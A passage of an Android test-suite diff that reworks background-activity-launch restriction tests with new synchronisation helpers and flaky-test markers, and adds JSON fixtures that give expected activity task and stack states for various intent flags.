-        // List<ActivityManagerState.ActivityStack> stacks = mAmWmState.getAmState().getStacks();
-        // for (ActivityManagerState.ActivityStack stack : stacks) {
-        //     assertThat(stack.getTopTask()).isNotNull();
-        //     List<ActivityManagerState.ActivityTask> tasks = stack.getTasks();
-        //     for (ActivityManagerState.ActivityTask task : tasks) {
-        //         assertThat(task.getActivities().size()).isGreaterThan(0);
-        //     }
-        // }
     }
 
     @Test
@@ -207,7 +210,7 @@
         intent.setComponent(APP_A_FOREGROUND_ACTIVITY);
         intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
         intent.putExtra(LAUNCH_BACKGROUND_ACTIVITY_EXTRA, true);
-        intent.putExtra(START_ACTIVITY_FROM_FG_ACTIVITY_DELAY_MS_EXTRA, 7000);
+        intent.putExtra(START_ACTIVITY_FROM_FG_ACTIVITY_DELAY_MS_EXTRA, 2000);
         mContext.startActivity(intent);
         boolean result = waitForActivityFocused(ACTIVITY_FOCUS_TIMEOUT_MS,
                 APP_A_FOREGROUND_ACTIVITY);
@@ -215,10 +218,8 @@
         assertTaskStack(new ComponentName[]{APP_A_FOREGROUND_ACTIVITY}, APP_A_FOREGROUND_ACTIVITY);
 
         // The foreground activity will be paused but will attempt to restart itself in onPause()
-        pressHomeButton();
-        mAmWmState.waitForHomeActivityVisible();
+        pressHomeAndResumeAppSwitch();
 
-        waitToPreventAppSwitchProtection();
         result = waitForActivityFocused(APP_A_FOREGROUND_ACTIVITY);
         assertFalse("Previously foreground Activity should not be able to relaunch itself", result);
         result = waitForActivityFocused(APP_A_BACKGROUND_ACTIVITY);
@@ -228,6 +229,7 @@
     }
 
     @Test
+    @FlakyTest(bugId = 143522449)
     public void testActivityNotBlockedWhenForegroundActivityLaunchInDifferentTask()
             throws Exception {
         // Start foreground activity, and foreground activity able to launch background activity
@@ -236,7 +238,7 @@
         intent.setComponent(APP_A_FOREGROUND_ACTIVITY);
         intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
         intent.putExtra(LAUNCH_BACKGROUND_ACTIVITY_EXTRA, true);
-        intent.putExtra(START_ACTIVITY_FROM_FG_ACTIVITY_DELAY_MS_EXTRA, 7000);
+        intent.putExtra(START_ACTIVITY_FROM_FG_ACTIVITY_DELAY_MS_EXTRA, 2000);
         intent.putExtra(START_ACTIVITY_FROM_FG_ACTIVITY_NEW_TASK_EXTRA, true);
         mContext.startActivity(intent);
         boolean result = waitForActivityFocused(ACTIVITY_FOCUS_TIMEOUT_MS,
@@ -245,10 +247,8 @@
         assertTaskStack(new ComponentName[]{APP_A_FOREGROUND_ACTIVITY}, APP_A_FOREGROUND_ACTIVITY);
 
         // The foreground activity will be paused but will attempt to restart itself in onPause()
-        pressHomeButton();
-        mAmWmState.waitForHomeActivityVisible();
+        pressHomeAndResumeAppSwitch();
 
-        waitToPreventAppSwitchProtection();
         result = waitForActivityFocused(APP_A_FOREGROUND_ACTIVITY);
         assertFalse("Previously foreground Activity should not be able to relaunch itself", result);
         result = waitForActivityFocused(APP_A_BACKGROUND_ACTIVITY);
@@ -271,10 +271,8 @@
         assertTaskStack(new ComponentName[]{APP_A_FOREGROUND_ACTIVITY}, APP_A_FOREGROUND_ACTIVITY);
 
         // The foreground activity will be paused but will attempt to restart itself in onPause()
-        pressHomeButton();
-        mAmWmState.waitForHomeActivityVisible();
+        pressHomeAndResumeAppSwitch();
 
-        waitToPreventAppSwitchProtection();
         result = waitForActivityFocused(APP_A_FOREGROUND_ACTIVITY);
         assertFalse("Previously foreground Activity should not be able to relaunch itself", result);
         assertTaskStack(new ComponentName[]{APP_A_FOREGROUND_ACTIVITY}, APP_A_FOREGROUND_ACTIVITY);
@@ -302,6 +300,7 @@
     }
 
     @Test
+    @FlakyTest(bugId = 143522449)
     public void testSecondActivityBlockedWhenBackgroundActivityLaunch() throws Exception {
         Intent baseActivityIntent = new Intent();
         baseActivityIntent.setComponent(APP_A_FOREGROUND_ACTIVITY);
@@ -310,9 +309,7 @@
         boolean result = waitForActivityFocused(APP_A_FOREGROUND_ACTIVITY);
         assertTrue("Not able to start foreground activity", result);
         assertTaskStack(new ComponentName[]{APP_A_FOREGROUND_ACTIVITY}, APP_A_FOREGROUND_ACTIVITY);
-        pressHomeButton();
-        mAmWmState.waitForHomeActivityVisible();
-        waitToPreventAppSwitchProtection();
+        pressHomeAndResumeAppSwitch();
 
         // The activity, now in the background, will attempt to start 2 activities in quick
         // succession
@@ -402,9 +399,16 @@
 
     @Test
     public void testPendingIntentBroadcast_appBIsBackground() throws Exception {
+        EventReceiver receiver = new EventReceiver(
+                Event.APP_A_START_BACKGROUND_ACTIVITY_BROADCAST_RECEIVED);
+
         // Send pendingIntent from AppA to AppB, and the AppB launch the pending intent to start
         // activity in App A
-        sendPendingIntentBroadcast(0);
+        sendPendingIntentBroadcast(0, receiver.getNotifier());
+
+        // Waits for final hoop in AppA to start looking for activity, otherwise it could succeed
+        // if the broadcast took long time to get executed (which may happen after boot).
+        receiver.waitForEventOrThrow(BROADCAST_DELIVERY_TIMEOUT_MS);
         boolean result = waitForActivityFocused(APP_A_BACKGROUND_ACTIVITY);
         assertFalse("Should not able to launch background activity", result);
         assertTaskStack(null, APP_A_BACKGROUND_ACTIVITY);
@@ -421,17 +425,29 @@
         String cmdResult = runShellCommand("dpm set-device-owner --user cur "
                 + APP_A_SIMPLE_ADMIN_RECEIVER.flattenToString());
         assertThat(cmdResult).contains("Success");
+        EventReceiver receiver = new EventReceiver(
+                Event.APP_A_START_BACKGROUND_ACTIVITY_BROADCAST_RECEIVED);
         Intent intent = new Intent();
         intent.setComponent(APP_A_START_ACTIVITY_RECEIVER);
+        intent.putExtra(EVENT_NOTIFIER_EXTRA, receiver.getNotifier());
+
         mContext.sendBroadcast(intent);
+
+        // Waits for final hoop in AppA to start looking for activity
+        receiver.waitForEventOrThrow(BROADCAST_DELIVERY_TIMEOUT_MS);
         boolean result = waitForActivityFocused(APP_A_BACKGROUND_ACTIVITY);
         assertTrue("Not able to launch background activity", result);
         assertTaskStack(new ComponentName[]{APP_A_BACKGROUND_ACTIVITY}, APP_A_BACKGROUND_ACTIVITY);
     }
 
-    private void waitToPreventAppSwitchProtection() {
-        // Any activity launch will be blocked for 5s because of app switching protection.
-        SystemClock.sleep(7000);
+    private void pressHomeAndResumeAppSwitch() {
+        // Press home key to ensure stopAppSwitches is called because the last-stop-app-switch-time
+        // is a criteria of allowing background start.
+        pressHomeButton();
+        // Resume the stopped state (it won't affect last-stop-app-switch-time) so we don't need to
+        // wait extra time to prevent the next launch from being delayed.
+        resumeAppSwitches();
+        mAmWmState.waitForHomeActivityVisible();
     }
 
     private void assertTaskStack(ComponentName[] expectedComponents,
@@ -449,7 +465,8 @@
         }
     }
 
-    private void assertPendingIntentBroadcastTimeoutTest(int delayMs, boolean expectedResult) {
+    private void assertPendingIntentBroadcastTimeoutTest(int delayMs, boolean expectedResult)
+            throws TimeoutException {
         // Start AppB foreground activity
         Intent intent = new Intent();
         intent.setComponent(APP_B_FOREGROUND_ACTIVITY);
@@ -458,10 +475,15 @@
         boolean result = waitForActivityFocused(APP_B_FOREGROUND_ACTIVITY);
         assertTrue("Not able to start foreground Activity", result);
         assertTaskStack(new ComponentName[]{APP_B_FOREGROUND_ACTIVITY}, APP_B_FOREGROUND_ACTIVITY);
+        EventReceiver receiver = new EventReceiver(
+                Event.APP_A_START_BACKGROUND_ACTIVITY_BROADCAST_RECEIVED);
 
         // Send pendingIntent from AppA to AppB, and the AppB launch the pending intent to start
         // activity in App A
-        sendPendingIntentBroadcast(delayMs);
+        sendPendingIntentBroadcast(delayMs, receiver.getNotifier());
+
+        // Waits for final hoop in AppA to start looking for activity
+        receiver.waitForEventOrThrow(BROADCAST_DELIVERY_TIMEOUT_MS);
         result = waitForActivityFocused(ACTIVITY_FOCUS_TIMEOUT_MS + delayMs,
                 APP_A_BACKGROUND_ACTIVITY);
         assertEquals(expectedResult, result);
@@ -477,25 +499,6 @@
         return waitForActivityFocused(ACTIVITY_FOCUS_TIMEOUT_MS, componentName);
     }
 
-    // Return true if the activity is shown before timeout
-    private boolean waitForActivityFocused(int timeoutMs, ComponentName componentName) {
-        long endTime = System.currentTimeMillis() + timeoutMs;
-        while (endTime > System.currentTimeMillis()) {
-            mAmWmState.getAmState().computeState();
-            mAmWmState.getWmState().computeState();
-            if (mAmWmState.getAmState().hasActivityState(componentName, STATE_RESUMED)) {
-                SystemClock.sleep(200);
-                mAmWmState.getAmState().computeState();
-                mAmWmState.getWmState().computeState();
-                break;
-            }
-            SystemClock.sleep(200);
-            mAmWmState.getAmState().computeState();
-            mAmWmState.getWmState().computeState();
-        }
-        return getActivityName(componentName).equals(mAmWmState.getAmState().getFocusedActivity());
-    }
-
     private void sendPendingIntentActivity() {
         Intent intent = new Intent();
         intent.setComponent(APP_A_SEND_PENDING_INTENT_RECEIVER);
@@ -503,13 +506,14 @@
         mContext.sendBroadcast(intent);
     }
 
-    private void sendPendingIntentBroadcast(int delayMs) {
+    private void sendPendingIntentBroadcast(int delayMs, @Nullable ResultReceiver eventNotifier) {
         Intent intent = new Intent();
         intent.setComponent(APP_A_SEND_PENDING_INTENT_RECEIVER);
         intent.putExtra(IS_BROADCAST_EXTRA, true);
         if (delayMs > 0) {
             intent.putExtra(START_ACTIVITY_DELAY_MS_EXTRA, delayMs);
         }
+        intent.putExtra(EVENT_NOTIFIER_EXTRA, eventNotifier);
         mContext.sendBroadcast(intent);
     }
 }
diff --git a/tests/framework/base/windowmanager/intent_tests/clearCases/clear-task_with_new-task.json b/tests/framework/base/windowmanager/intent_tests/clearCases/clear-task_with_new-task.json
new file mode 100644
index 0000000..09753b8
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/clearCases/clear-task_with_new-task.json
@@ -0,0 +1,54 @@
+{
+    "setup": {
+        "initialIntents": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK",
+                "class": "android.server.wm.intent.Activities$RegularActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ],
+        "act": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK",
+                "class": "android.server.wm.intent.Activities$RegularActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ]
+    },
+    "initialState": {
+        "stacks": [
+            {
+                "tasks": [
+                    {
+                        "activities": [
+                            {
+                                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
+                                "state": "RESUMED"
+                            }
+                        ]
+                    }
+                ],
+                "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity"
+            }
+        ]
+    },
+    "endState": {
+        "stacks": [
+            {
+                "tasks": [
+                    {
+                        "activities": [
+                            {
+                                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
+                                "state": "RESUMED"
+                            }
+                        ]
+                    }
+                ],
+                "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity"
+            }
+        ]
+    }
+}
diff --git a/tests/framework/base/windowmanager/intent_tests/clearCases/clear-task_without_new-task.json b/tests/framework/base/windowmanager/intent_tests/clearCases/clear-task_without_new-task.json
new file mode 100644
index 0000000..da82d52
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/clearCases/clear-task_without_new-task.json
@@ -0,0 +1,58 @@
+{
+    "setup": {
+        "initialIntents": [
+            {
+                "flags": "FLAG_ACTIVITY_NEW_TASK",
+                "class": "android.server.wm.intent.Activities$RegularActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ],
+        "act": [
+            {
+                "flags": "FLAG_ACTIVITY_CLEAR_TASK",
+                "class": "android.server.wm.intent.Activities$RegularActivity",
+                "package": "android.server.wm.cts",
+                "startForResult": false
+            }
+        ]
+    },
+    "initialState": {
+        "stacks": [
+            {
+                "tasks": [
+                    {
+                        "activities": [
+                            {
+                                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
+                                "state": "RESUMED"
+                            }
+                        ]
+                    }
+                ],
+                "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity"
+            }
+        ]
+    },
+    "endState": {
+        "stacks": [
+            {
+                "tasks": [
+                    {
+                        "activities": [
+                            {
+                                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
+                                "state": "RESUMED"
+                            },
+                            {
+                                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
+                                "state": "STOPPED"
+                            }
+                        ]
+                    }
+                ],
+                "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity"
+            }
+        ]
+    }
+}
diff --git a/tests/framework/base/windowmanager/intent_tests/clearCases/test-3.json b/tests/framework/base/windowmanager/intent_tests/clearCases/test-3.json
index 28e6a48..42f1ffa 100644
--- a/tests/framework/base/windowmanager/intent_tests/clearCases/test-3.json
+++ b/tests/framework/base/windowmanager/intent_tests/clearCases/test-3.json
@@ -53,6 +53,10 @@
                             {
                                 "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
                                 "state": "RESUMED"
+                            },
+                            {
+                                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
+                                "state": "STOPPED"
                             }
                         ]
                     }
diff --git a/tests/framework/base/windowmanager/intent_tests/newTask/request_new_task_different_affinity-new_task.json b/tests/framework/base/windowmanager/intent_tests/newTask/request_new_task_different_affinity-new_task.json
new file mode 100644
index 0000000..9d878d8
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/newTask/request_new_task_different_affinity-new_task.json
@@ -0,0 +1,66 @@
+{
+  "setup": {
+    "initialIntents": [
+      {
+        "flags": "FLAG_ACTIVITY_NEW_TASK",
+        "class": "android.server.wm.intent.Activities$TaskAffinity1Activity",
+        "package": "android.server.wm.cts",
+        "startForResult": false
+      }
+    ],
+    "act": [
+      {
+        "flags": "FLAG_ACTIVITY_NEW_TASK",
+        "class": "android.server.wm.intent.Activities$RegularActivity",
+        "package": "android.server.wm.cts",
+        "startForResult": false
+      }
+    ]
+  },
+  "initialState": {
+    "stacks": [
+      {
+        "tasks": [
+          {
+            "activities": [
+              {
+                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity",
+                "state": "RESUMED"
+              }
+            ]
+          }
+        ],
+        "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity"
+      }
+    ]
+  },
+  "endState": {
+    "stacks": [
+      {
+        "tasks": [
+          {
+            "activities": [
+              {
+                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
+                "state": "RESUMED"
+              }
+            ]
+          }
+        ],
+        "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity"
+      },
+      {
+        "tasks": [
+          {
+            "activities": [
+              {
+                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity",
+                "state": "STOPPED"
+              }
+            ]
+          }
+        ]
+      }
+    ]
+  }
+}
diff --git a/tests/framework/base/windowmanager/intent_tests/newTask/request_new_task_same_affinity-same_task.json b/tests/framework/base/windowmanager/intent_tests/newTask/request_new_task_same_affinity-same_task.json
new file mode 100644
index 0000000..6944973
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/newTask/request_new_task_same_affinity-same_task.json
@@ -0,0 +1,58 @@
+{
+  "setup": {
+    "initialIntents": [
+      {
+        "flags": "FLAG_ACTIVITY_NEW_TASK",
+        "class": "android.server.wm.intent.Activities$TaskAffinity1Activity",
+        "package": "android.server.wm.cts",
+        "startForResult": false
+      }
+    ],
+    "act": [
+      {
+        "flags": "FLAG_ACTIVITY_NEW_TASK",
+        "class": "android.server.wm.intent.Activities$TaskAffinity1Activity2",
+        "package": "android.server.wm.cts",
+        "startForResult": false
+      }
+    ]
+  },
+  "initialState": {
+    "stacks": [
+      {
+        "tasks": [
+          {
+            "activities": [
+              {
+                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity",
+                "state": "RESUMED"
+              }
+            ]
+          }
+        ],
+        "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity"
+      }
+    ]
+  },
+  "endState": {
+    "stacks": [
+      {
+        "tasks": [
+          {
+            "activities": [
+              {
+                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity2",
+                "state": "RESUMED"
+              },
+              {
+                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity",
+                "state": "STOPPED"
+              }
+            ]
+          }
+        ],
+        "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity2"
+      }
+    ]
+  }
+}
diff --git a/tests/framework/base/windowmanager/intent_tests/newTask/request_same_task_different_affinity-same_task.json b/tests/framework/base/windowmanager/intent_tests/newTask/request_same_task_different_affinity-same_task.json
new file mode 100644
index 0000000..a444299
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/newTask/request_same_task_different_affinity-same_task.json
@@ -0,0 +1,58 @@
+{
+  "setup": {
+    "initialIntents": [
+      {
+        "flags": "FLAG_ACTIVITY_NEW_TASK",
+        "class": "android.server.wm.intent.Activities$TaskAffinity1Activity",
+        "package": "android.server.wm.cts",
+        "startForResult": false
+      }
+    ],
+    "act": [
+      {
+        "flags": "",
+        "class": "android.server.wm.intent.Activities$RegularActivity",
+        "package": "android.server.wm.cts",
+        "startForResult": false
+      }
+    ]
+  },
+  "initialState": {
+    "stacks": [
+      {
+        "tasks": [
+          {
+            "activities": [
+              {
+                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity",
+                "state": "RESUMED"
+              }
+            ]
+          }
+        ],
+        "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity"
+      }
+    ]
+  },
+  "endState": {
+    "stacks": [
+      {
+        "tasks": [
+          {
+            "activities": [
+              {
+                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
+                "state": "RESUMED"
+              },
+              {
+                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity",
+                "state": "STOPPED"
+              }
+            ]
+          }
+        ],
+        "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity"
+      }
+    ]
+  }
+}
diff --git a/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/keep_affinity-request_new_task_with_same_affinity-same_task.json b/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/keep_affinity-request_new_task_with_same_affinity-same_task.json
new file mode 100644
index 0000000..3dd2c99
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/keep_affinity-request_new_task_with_same_affinity-same_task.json
@@ -0,0 +1,72 @@
+{
+  "setup": {
+    "initialIntents": [
+      {
+        "flags": "FLAG_ACTIVITY_NEW_TASK",
+        "class": "android.server.wm.intent.Activities$TaskAffinity1RelinquishTaskIdentityActivity",
+        "package": "android.server.wm.cts",
+        "startForResult": false
+      },
+      {
+        "flags": "",
+        "class": "android.server.wm.intent.Activities$TaskAffinity1Activity",
+        "package": "android.server.wm.cts",
+        "startForResult": false
+      }
+    ],
+    "act": [
+      {
+        "flags": "FLAG_ACTIVITY_NEW_TASK",
+        "class": "android.server.wm.intent.Activities$TaskAffinity1Activity2",
+        "package": "android.server.wm.cts",
+        "startForResult": false
+      }
+    ]
+  },
+  "initialState": {
+    "stacks": [
+      {
+        "tasks": [
+          {
+            "activities": [
+              {
+                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity",
+                "state": "RESUMED"
+              },
+              {
+                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1RelinquishTaskIdentityActivity",
+                "state": "STOPPED"
+              }
+            ]
+          }
+        ],
+        "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity"
+      }
+    ]
+  },
+  "endState": {
+    "stacks": [
+      {
+        "tasks": [
+          {
+            "activities": [
+              {
+                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity2",
+                "state": "RESUMED"
+              },
+              {
+                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity",
+                "state": "STOPPED"
+              },
+              {
+                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1RelinquishTaskIdentityActivity",
+                "state": "STOPPED"
+              }
+            ]
+          }
+        ],
+        "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity2"
+      }
+    ]
+  }
+}
diff --git a/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/request_change_affinity-request_new_task_with_changed_affinity-new_task.json b/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/request_change_affinity-request_new_task_with_changed_affinity-new_task.json
new file mode 100644
index 0000000..53f01b5
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/request_change_affinity-request_new_task_with_changed_affinity-new_task.json
@@ -0,0 +1,81 @@
+{
+  "comment": "relinquishTaskIdentity does not allow changing the root affinity of the task - ag/548224",
+  "setup": {
+    "initialIntents": [
+      {
+        "flags": "FLAG_ACTIVITY_NEW_TASK",
+        "class": "android.server.wm.intent.Activities$RelinquishTaskIdentityActivity",
+        "package": "android.server.wm.cts",
+        "startForResult": false
+      },
+      {
+        "flags": "",
+        "class": "android.server.wm.intent.Activities$TaskAffinity1Activity",
+        "package": "android.server.wm.cts",
+        "startForResult": false
+      }
+    ],
+    "act": [
+      {
+        "flags": "FLAG_ACTIVITY_NEW_TASK",
+        "class": "android.server.wm.intent.Activities$TaskAffinity1Activity2",
+        "package": "android.server.wm.cts",
+        "startForResult": false
+      }
+    ]
+  },
+  "initialState": {
+    "stacks": [
+      {
+        "tasks": [
+          {
+            "activities": [
+              {
+                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity",
+                "state": "RESUMED"
+              },
+              {
+                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RelinquishTaskIdentityActivity",
+                "state": "STOPPED"
+              }
+            ]
+          }
+        ],
+        "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity"
+      }
+    ]
+  },
+  "endState": {
+    "stacks": [
+      {
+        "tasks": [
+          {
+            "activities": [
+              {
+                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity2",
+                "state": "RESUMED"
+              }
+            ]
+          }
+        ],
+        "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity2"
+      },
+      {
+        "tasks": [
+          {
+            "activities": [
+              {
+                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity",
+                "state": "STOPPED"
+              },
+              {
+                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RelinquishTaskIdentityActivity",
+                "state": "STOPPED"
+              }
+            ]
+          }
+        ]
+      }
+    ]
+  }
+}
diff --git a/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/request_change_affinity-request_new_task_with_old_affinity-same_task.json b/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/request_change_affinity-request_new_task_with_old_affinity-same_task.json
new file mode 100644
index 0000000..2ec6f78
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/request_change_affinity-request_new_task_with_old_affinity-same_task.json
@@ -0,0 +1,73 @@
+{
+  "comment": "relinquishTaskIdentity does not allow changing the root affinity of the task - ag/548224",
+  "setup": {
+    "initialIntents": [
+      {
+        "flags": "FLAG_ACTIVITY_NEW_TASK",
+        "class": "android.server.wm.intent.Activities$RelinquishTaskIdentityActivity",
+        "package": "android.server.wm.cts",
+        "startForResult": false
+      },
+      {
+        "flags": "",
+        "class": "android.server.wm.intent.Activities$TaskAffinity1Activity",
+        "package": "android.server.wm.cts",
+        "startForResult": false
+      }
+    ],
+    "act": [
+      {
+        "flags": "FLAG_ACTIVITY_NEW_TASK",
+        "class": "android.server.wm.intent.Activities$RegularActivity",
+        "package": "android.server.wm.cts",
+        "startForResult": false
+      }
+    ]
+  },
+  "initialState": {
+    "stacks": [
+      {
+        "tasks": [
+          {
+            "activities": [
+              {
+                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity",
+                "state": "RESUMED"
+              },
+              {
+                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RelinquishTaskIdentityActivity",
+                "state": "STOPPED"
+              }
+            ]
+          }
+        ],
+        "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity"
+      }
+    ]
+  },
+  "endState": {
+    "stacks": [
+      {
+        "tasks": [
+          {
+            "activities": [
+              {
+                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
+                "state": "RESUMED"
+              },
+              {
+                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity",
+                "state": "STOPPED"
+              },
+              {
+                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RelinquishTaskIdentityActivity",
+                "state": "STOPPED"
+              }
+            ]
+          }
+        ],
+        "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity"
+      }
+    ]
+  }
+}
diff --git a/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/request_change_affinity-request_same_task_with_changed_affinity-same_task.json b/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/request_change_affinity-request_same_task_with_changed_affinity-same_task.json
new file mode 100644
index 0000000..7e31db4
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/request_change_affinity-request_same_task_with_changed_affinity-same_task.json
@@ -0,0 +1,73 @@
+{
+  "comment": "relinquishTaskIdentity does not allow changing the root affinity of the task - ag/548224",
+  "setup": {
+    "initialIntents": [
+      {
+        "flags": "FLAG_ACTIVITY_NEW_TASK",
+        "class": "android.server.wm.intent.Activities$RelinquishTaskIdentityActivity",
+        "package": "android.server.wm.cts",
+        "startForResult": false
+      },
+      {
+        "flags": "",
+        "class": "android.server.wm.intent.Activities$TaskAffinity1Activity",
+        "package": "android.server.wm.cts",
+        "startForResult": false
+      }
+    ],
+    "act": [
+      {
+        "flags": "",
+        "class": "android.server.wm.intent.Activities$TaskAffinity1Activity2",
+        "package": "android.server.wm.cts",
+        "startForResult": false
+      }
+    ]
+  },
+  "initialState": {
+    "stacks": [
+      {
+        "tasks": [
+          {
+            "activities": [
+              {
+                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity",
+                "state": "RESUMED"
+              },
+              {
+                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RelinquishTaskIdentityActivity",
+                "state": "STOPPED"
+              }
+            ]
+          }
+        ],
+        "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity"
+      }
+    ]
+  },
+  "endState": {
+    "stacks": [
+      {
+        "tasks": [
+          {
+            "activities": [
+              {
+                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity2",
+                "state": "RESUMED"
+              },
+              {
+                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity",
+                "state": "STOPPED"
+              },
+              {
+                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RelinquishTaskIdentityActivity",
+                "state": "STOPPED"
+              }
+            ]
+          }
+        ],
+        "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity2"
+      }
+    ]
+  }
+}
diff --git a/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/request_change_affinity-request_same_task_with_old_affinity-same_task.json b/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/request_change_affinity-request_same_task_with_old_affinity-same_task.json
new file mode 100644
index 0000000..afd155a
--- /dev/null
+++ b/tests/framework/base/windowmanager/intent_tests/relinquishTaskIdentity/request_change_affinity-request_same_task_with_old_affinity-same_task.json
@@ -0,0 +1,73 @@
+{
+  "comment": "relinquishTaskIdentity does not allow changing the root affinity of the task - ag/548224",
+  "setup": {
+    "initialIntents": [
+      {
+        "flags": "FLAG_ACTIVITY_NEW_TASK",
+        "class": "android.server.wm.intent.Activities$RelinquishTaskIdentityActivity",
+        "package": "android.server.wm.cts",
+        "startForResult": false
+      },
+      {
+        "flags": "",
+        "class": "android.server.wm.intent.Activities$TaskAffinity1Activity",
+        "package": "android.server.wm.cts",
+        "startForResult": false
+      }
+    ],
+    "act": [
+      {
+        "flags": "",
+        "class": "android.server.wm.intent.Activities$RegularActivity",
+        "package": "android.server.wm.cts",
+        "startForResult": false
+      }
+    ]
+  },
+  "initialState": {
+    "stacks": [
+      {
+        "tasks": [
+          {
+            "activities": [
+              {
+                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity",
+                "state": "RESUMED"
+              },
+              {
+                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RelinquishTaskIdentityActivity",
+                "state": "STOPPED"
+              }
+            ]
+          }
+        ],
+        "resumedActivity": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity"
+      }
+    ]
+  },
+  "endState": {
+    "stacks": [
+      {
+        "tasks": [
+          {
+            "activities": [
+              {
+                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RegularActivity",
+                "state": "RESUMED"
+              },
+              {
+                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$TaskAffinity1Activity",
+                "state": "STOPPED"
+              },
+              {
+                "name": "android.server.wm.cts\/android.server.wm.intent.Activities$RelinquishTaskIdentityActivity",
+                "state": "STOPPED"
+              }
+            ]
+          }
